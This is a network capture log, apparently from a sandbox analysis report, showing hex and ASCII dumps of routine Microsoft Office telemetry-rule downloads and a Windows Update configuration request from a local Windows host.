2024-11-21 21:33:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:33:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:33:57 UTC	492	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 21 Nov 2024 12:25:08 GMT ETag: "0x8DD0A27899CAFB6" x-ms-request-id: cb7fa3cf-001e-000b-073d-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213357Z-174c587ffdfcb7qhhC1TEB3x7000000000n0000000008q1d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:33:57 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-21 21:33:57 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-21 21:33:57 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-21 21:33:58 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-21 21:33:58 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-21 21:33:58 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-21 21:33:58 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-21 21:33:58 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-21 21:33:58 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-21 21:33:58 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49761	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:33:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ykRhRcU6axk3H8l&MD=29MnSylP HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 21:34:00 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 9e22159d-d23e-4325-8233-4d25ccf77ceb MS-RequestId: 6011adb7-99b5-4892-9ecc-93c9e4a8cfa2 MS-CV: s7ahQEz8OU2k108t.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 21:33:59 GMT Connection: close Content-Length: 30005
2024-11-21 21:34:00 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-21 21:34:00 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:00 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:00 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:00 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213400Z-15b8b599d88phfhnhC1TEBr51n00000000hg00000000hqp2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:00 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:00 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:00 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:00 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 3ae325a6-f01e-001f-6051-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213400Z-15b8b599d885ffrhhC1TEBtuv000000000pg0000000003s8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:00 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:00 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:00 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aa7a34d-201e-0096-3676-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213400Z-178bfbc474b9xljthC1NYCtw9400000001v0000000010ywq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:00 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:00 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:00 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213400Z-178bfbc474b7cbwqhC1NYC8z4n000000020g000000005xea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
